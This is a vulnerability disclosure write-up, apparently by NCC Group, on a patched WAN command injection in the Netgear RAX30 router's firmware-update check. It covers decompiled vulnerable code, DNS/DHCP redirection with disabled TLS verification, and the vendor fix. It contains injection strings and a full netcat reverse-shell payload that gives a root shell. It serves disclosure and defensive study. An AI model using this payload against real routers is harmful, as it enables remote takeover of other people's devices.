Puckungfu: A NETGEAR WAN Command Injection

Summary

This blog post describes a command injection vulnerability found and exploited in November 2022 by NCC Group in the Netgear RAX30 router’s WAN interface. It was running firmware version 1.0.7.78 at the time of exploitation. The vulnerability was patched on the 1st of December 2022 with hotfix firmware version 1.0.9.90. Hotfix 1.0.9.90 is no longer publicly accessible on the Netgear website as the latest hotfix firmware version is 1.0.9.92.

The firmware files are accessible via the following links:

Vulnerability Details

Overview

The Netgear RAX30 /bin/pucfu binary executes during boot and will attempt to connect to a Netgear domain (https://devcom.up.netgear.com/) and retrieve a JSON response. We use a DHCP server to control the DNS server that is assigned to the router’s WAN interface. By controlling the response of the DNS lookup we can cause the router to perform HTTP(S) requests to an attacker-controlled web server. Our web server will then respond with a specially crafted JSON response that triggers a command injection in /bin/pucfu.

The command injection vulnerability occurs in the SetFileValue() function defined in /lib/libpu_util.so which is imported by /bin/pucfu. This function will be passed a user-controlled value, which will be appended to an executed execve shell command.

Execution Flow

The vulnerability flow consists of functions from the libraries /usr/lib/libfwcheck.so and /lib/libpu_util.so as shown in the following call graph:

Puckungfu Command Injection Call Graph

/bin/pucfu

The /bin/pucfu’s main [1] function calls the get_check_fw [2] function from the /usr/lib/libfwcheck.so library. This function retrieves the url JSON parameter from https://devcom.up.netgear.com/UpBackend/checkFirmware/ and stores it into the bufferLargeA variable. bufferLargeA is then copied to bufferLargeB [3] and passed to the SetFileValue function as the value parameter [4].

int main(int argc,char **argv) // [1]
{
    ...
    // Perform API call to retrieve data
    status = get_check_fw(callMode, 0, bufferLargeA, 0x800); // [2] - Retrieve attacker controlled data into bufferLargeA
    ...
    strcpy(bufferLargeB, bufferLargeA); // [3]
    SetFileValue("/tmp/fw/cfu_url_cache", "lastURL", bufferLargeB); // [4] - Attacker controlled data passed as value parameter
    ...
}

/usr/lib/libfwcheck.so

get_check_fw

The get_check_fw function prepares request parameters by retrieving data from the D2 database including the base URL of https://devcom.up.netgear.com/UpBackend/ [5]. Next, fw_check_api is called passing through the urlBuffer buffer [6] which will contain the received URL from the JSON response.

int get_check_fw(int mode, byte betaAcceptance, char *urlBuffer, size_t urlBufferSize)
{
    ...
    char upBaseUrl [136];
    char deviceModel [64];
    char fwRevision [64];
    char fsn [16];
    uint region;

    // Retrieve data from D2
    d2_get_ascii(DAT_00029264,"UpCfg",0,"UpBaseURL",upBaseUrl,0x81); // [5]
    d2_get_string(DAT_00029264,"General",0,"DeviceModel",deviceModel,0x40);
    d2_get_ascii(DAT_00029264,"General",0,"FwRevision",fwRevision,0x40);
    d2_get_ascii(DAT_00029264,"General",0,&DAT_000182ac,fsn,0x10);
    d2_get_uint(DAT_00029264,"General",0,"Region",&region);

    // Call Netgear API and store response URL into urlBuffer
    ret = fw_check_api(upBaseUrl, deviceModel, fwRevision, fsn, region, mode, betaAcceptance, urlBuffer, urlBufferSize); // [6]
    ...
}

fw_check_api

fw_check_api performs a POST request to the baseUrl endpoint with the data parameters as a JSON body [7]. The JSON response is then parsed [8] and the url data value is copied to the urlBuffer parameter [9] which is returned to the main function.

uint fw_check_api(char *baseUrl,char *modelNumber,char *currentFwVersion,char *serialNumber, uint regionCode,int reasonToCall,byte betaAcceptance,char *urlBuffer, size_t urlBufferSize)
{
    ...
    // Build JSON request
    char json [516];
    snprintf(json,
        0x200,
        "{\"token\":\"%s\",\"ePOCHTimeStamp\":\"%s\",\"modelNumber\":\"%s\",\"serialNumber\":\"%s \",\"regionCode\":\"%u\",\"reasonToCall\":\"%d\",\"betaAcceptance\":%d,\"currentFWVersion \":\"%s\"}",
        token,
        epochTimestamp,
        modelNumber,
        serialNumber,
        regionCode,
        reasonToCall,
        (uint)betaAcceptance,
        currentFwVersion
    );

    snprintf(checkFwUrl, 0x80, "%s%s", baseUrl, "checkFirmware/");

    // Perform HTTPS request
    int status = curl_post(checkFwUrl, json, &response); // [7]
    char* _response = response;

    ...

    // Parse JSON response
    cJSON *jsonObject = cJSON_Parse(_response); // [8]

    // Get status item
    cJSON *jsonObjectItem = cJSON_GetObjectItem(jsonObject, "status");
    if ((jsonObjectItem != (cJSON *)0x0) && (jsonObjectItem->type == cJSON_Number))
    {
        state = 0;
        (*(code *)fw_debug)(1,"\nStatus 1 received\n");

        // Get URL item
        cJSON *jsonObjectItemUrl = cJSON_GetObjectItem(jsonObject,"url");

        // Copy url into url buffer
        int snprintfSize = snprintf(urlBuffer, urlBufferSize, "%s", jsonObjectItemUrl->valuestring); // [9]
        ...
        return state;
    }
    ...
}

curl_post

The curl_post function performs a HTTPS post request using the curl_easy library. Although HTTPS is used, the CURLOPT_SSL_VERIFYHOST [10] and CURLOPT_SSL_VERIFYPEER [11] curl options are set to disabled therefore an attacker-controlled HTTPS web server will not be verified by the library.

size_t curl_post(char *url, char *json, char **response)
{
    ...
    curl_easy_setopt(curl, CURLOPT_URL, url);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, curlSList);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json);
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0); // [10] - SSL Verification Disabled
    curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); // [11] - SSL Verification Disabled
    ...
}

/lib/libpu_util.so

SetFileValue

The SetFileValue function contains the command injection vulnerability when parameter filename, key or value contain data controlled by an attacker. In this case, the attacker can control the value parameter.

The function performs either an echo [12] or sed [13] OS command depending on if the key already exists in the file or not.

If the field does not exist, then the echo command [12] will be executed. In which case, it is possible to perform command injection with the following input: ';<command> #.

If the field already exists, then one of two sed commands [13] will be executed. The choice depend on if the input value contains a / character. The following inputs cause a command injection in these scenarios:

Value Contains “/”InjectionExecuted Command
Yes/' filename; <command> #sed -i 's/^lastURL=.*/lastURL=/' filename; #/' /tmp/fw/cfu_url_cache
No|' filename; <command> #sed -i 's|^lastURL=.*|lastURL=|' filename; #|' /tmp/fw/cfu_url_cache
int SetFileValue(char *filename, char *key, char *value)
{
    char currentValueBuffer [101];
    char command [204];

    int currentValueBufferLength = GetFileValue(filename, key, currentValueBuffer, 0x65);
    if (currentValueBufferLength < 0)
    {
        // Build echo command if value doesn't exist to insert
        snprintf(command, 0xc9, "echo \'%s=%s\' >> %s", key, value, filename); // [12] - Vulnerable to command injection
    }
    else
    {
        // Build sed command if value exists to replace
        char* commandTemplate = strchr(currentValueBuffer,0x2f);
        if (commandTemplate == (char *)0x0)
            commandTemplate = "sed -i \'s/^%s=.*/%s=%s/\' %s"; // [13] - Vulnerable to command injection
        else
            commandTemplate = "sed -i \'s|^%s=.*|%s=%s|\' %s"; // [13] - Vulnerable to command injection
        snprintf(command, 0xc9, commandTemplate, key, key, value, filename);
    }

    // Execute command
    int status = pegaPopen(command,"r"); // Executes `execve` with the command parameter
    if (status != 0)
    {
        pegaPclose();

        // Verify value set
        status = GetFileValue(filename, key, currentValueBuffer, 0x65);
        if ((-1 < status) && (int status = strcmp(value, currentValueBuffer), status == 0))
            return status;
    }
    return -1;
}

pegaPopen

The pegaPopen function executes a shell command passed by argument command using execve [14]. This is vulnerable to a command injection attack as the command executed is /bin/sh -c <command> and therefore the second input argument is executed as a shell command.

FILE * pegaPopen(char *command, char *rw)
{
    char *argv [4];
    argv[0] = gStrPtrSh; // "sh"
    argv[1] = gStrPtrDashC; // "-c"
    argv[2] = gStrPtrNull; // NULL

    ...

    __pid_t _status = vfork();

    ...

    argv[2] = command;
    execve("/bin/sh", argv, environ); // [14]
    _exit(0x7f);
}

Check Firmware HTTPS

We use Dnsmasq to run a DHCP server and DNS server to redirect HTTPS web requests to our attacker’s machine. A web server is then used to dump HTTPS requests and respond with attacker-controlled data.

Normal Request & Response

Let’s analyse a typical request/response to the https://devcom.up.netgear.com/UpBackend/checkFirmware/ endpoint made by the pucfu binary. As can be seen, it is to retrieve the url associated to checking the firmware update.

Request:

{
    "token": "5a4e2e5bc1f20cbf835aafba60dff94bfc30e7726c8be7624ffb2bc7331d219e",
    "ePOCHTimeStamp": "1646392475",
    "modelNumber": "RAX30",
    "serialNumber": "6LA123BC456D7",
    "regionCode": "2",
    "reasonToCall": "1",
    "betaAcceptance": 0,
    "currentFWVersion": "V1.0.7.78"
}

Response:

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "https://http.fw.updates1.netgear.com/rax30/auto"
}

Exploitation

Command Injection Response

The following response injects the reverse shell command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f (Reverse Shell Cheat Sheet) into the URL parameter, which results in the router sending a root shell to IP 192.168.20.1 on port 31337.

{
    "status": 1,
    "errorCode": null,
    "message": null,
    "url": "'; rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f #"
}

The full command which is executed by pucfu with the injected payload is echo 'lastURL='; rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f #' >> /tmp/fw/cfu_url_cache which is effectively similar to the following series of commands:

echo 'lastURL='
rm -f /tmp/f
mknod /tmp/f p
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.20.1 31337 >/tmp/f #' >> /tmp/fw/cfu_url_cache

Root Shell

Bundling the DHCP, DNS, web server and TCP listener into a single Python script which sends the reverse shell injection string results in a root shell as shown:

$ sudo python3 puckungfu.py -i eth1
[#] Listening for shell on port 31337/tcp
[#] Listening for HTTPS requests on port 443/tcp
[#] Waiting for shell...
[+] Received a shell...

BusyBox v1.31.1 (2022-03-04 19:12:56 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0(root) gid=0(root) groups=0(root)

Final Notes

Patch

Netgear firmware v1.0.9.90 patched this vulnerability on the 1st of December 2022 by modifying the SetFileValue function.

If the existing value does not exist in the file, then instead of a echo command executed with execve, the functions: fopen [15], fprintf [16] and fclose [17] are used. Therefore, there is no direct command injection present.

If an existing value exists, then a sed replace command is still used. However, execve [18] with arguments is called instead of a direct shell command (no sh -c invocation).

int SetFileValue(char *filename, char *key, char *value)
{
    // Get existing key value from file
    char valueBuffer[104];
    int ret = GetFileValue(filename, key, valueBuffer, 0x65);

    // Key doesn't exist
    if (ret < 0)
    {
        FILE* __stream = fopen(filename,"a+"); // [15]
        if (__stream != (FILE *)0x0)
        {
            fprintf(__stream,"%s=%s\n",key,value); // [16]
            fclose(__stream); // [17]
        }
    }
    else
    {
        // Key exists
        char* valueHasSlash = strchr(valueBuffer,0x2f);
        if (valueHasSlash == (char *)0x0)
            valueHasSlash = "s/^%s=.*/%s=%s/";
        else
            valueHasSlash = "s|^%s=.*|%s=%s|";

        // Set sed args
        char *args [4];
        snprintf(args[2], 0xC9, valueHasSlash, key, key, value);
        args[0] = "sed";
        args[1] = "-i";
        args[3] = filename;
        if (filename != (char *)0x0)
        {
            __pid_t __pid = fork();
            if (__pid == 0)
                execve("/bin/sed", args, (char **)0x0); // [18]
            ...
        }
    }

    // Validate key value was set
    ret = GetFileValue(filename, key, valueBuffer, 0x65);
    if (ret < 0)
        return -1;

    if (strcmp(value, valueBuffer) != 0)
        return -1;
    return ret;
}

Pwn2Own Note

We initially did this research to use it for Pwn2Own 2022 Toronto but Netgear released firmware version 1.0.9.90 one day prior to the competition and therefore this vulnerability was no longer eligible. However, we managed to find an alternative Netgear WAN vulnerability after the patch in time as seen on Twitter.